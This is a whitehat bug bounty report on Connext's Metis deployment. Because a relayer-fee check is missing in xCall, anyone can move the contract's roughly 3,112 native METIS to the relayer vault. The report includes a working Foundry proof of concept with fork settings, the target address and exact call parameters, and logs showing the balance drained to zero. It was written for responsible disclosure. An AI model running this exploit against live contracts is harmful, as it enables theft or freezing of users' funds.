connext2.md

Anyone can withdraw funds from Connext's Metis deployment and transfer them to the relayer vault.

Submitted By: [@curiousapple (Whitehat)]
Report Date: 11 months ago
Target Contract: 0x8898B472C54c31894e3B9bb83cEA802a5d0e63C6
Impact: High

• Temporary freezing of funds
• Direct theft of user funds (at-rest or in-motion), excluding unclaimed yield

---

Bug Description

Connext requires users to call xCall on its Connext diamond on the source chain with a relayer fee. This Connext contract also acts as an escrow, holding the locked funds.

From what I understand, based on other Connext deployments on different chains, this Connext diamond is not meant to hold native funds and deals with ERC20 tokens for crosschain transfers. It deals with WETH instead of ETH, for example.

However, this becomes an issue with Metis because Metis is both an ERC20 token and a native token. As shown in the Metis Explorer, the Connext diamond currently holds 3,112.860008144711577808 METIS ($271,062 USD).

https://andromeda-explorer.metis.io/address/0x6B142227A277CE62808E0Df93202483547Ec0188

All of this can be transferred to the relayer vault by calling xCall with the asset address as address(0), amount = 0, and the relayer fee as balance.

Since the relayerFee = msg.value check is not performed, the user can pass any value for relayerFee and execute it. _bumpTransfer(transferId, _relayer.asset, _relayer.amount); https://github.com/connext/monorepo/blob/bac63fc929af10708ab99df8970b92c49da0f6e5/packages/deployments/contracts/contracts/core/connext/facets/BridgeFacet.sol#L695-L696

Additionally, since the asset address is zero, the _getApprovedCanonicalId check is also bypassed. if (_asset.asset != address(0)) { https://github.com/connext/monorepo/blob/bac63fc929af10708ab99df8970b92c49da0f6e5/packages/deployments/contracts/contracts/core/connext/facets/BridgeFacet.sol#L625-L626

Proof of Concept (POC)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";

interface Connext {
    function xcall(
        uint32 _destination,
        address _to,
        address _asset,
        address _delegate,
        uint256 _amount,
        uint256 _slippage,
        bytes calldata _callData,
        uint256 _relayerFee
    ) external;

    function bumpTransfer(
        bytes32 _transferId,
        address _relayerFeeAsset,
        uint256 _relayerFee
    ) external;
}

contract ConnextMetis is Test {
    Connext public connext;

    function setUp() public {
        uint256 forkId = vm.createFork("https://andromeda.metis.io/?owner=1088");
        vm.selectFork(forkId);
        vm.rollFork(13139507);
        connext = Connext(0x6B142227A277CE62808E0Df93202483547Ec0188);
    }

    function test() public {
        console2.log(address(connext).balance);
        vm.prank(0xA0D1d716AA96C1cDc065ab6233ac7d3A530F45eE);
        connext.xcall(
            1886350457,
            0xA0D1d716AA96C1cDc065ab6233ac7d3A530F45eE,
            address(0),
            0xA0D1d716AA96C1cDc065ab6233ac7d3A530F45eE,
            0,
            0,
            "0x",
            3112860008144711577808
        );
        console2.log(address(connext).balance);
    }
}

Output
Logs:
  3112860008144711577808
  0

---

Impact

I don't know who currently owns the relayer vault. If it's permissionless or intended to be permissionless, then this issue is critical, in my opinion. (Direct theft of any user funds, whether at rest or in motion, other than unclaimed yield)

In any case, this allows anyone to execute a denial of service, at least by moving locked canonical assets out. (Temporary freezing of funds), hence rated as high to start with.

Recommendation

Consider enforcing relayerFee == msg.value if asset address is zero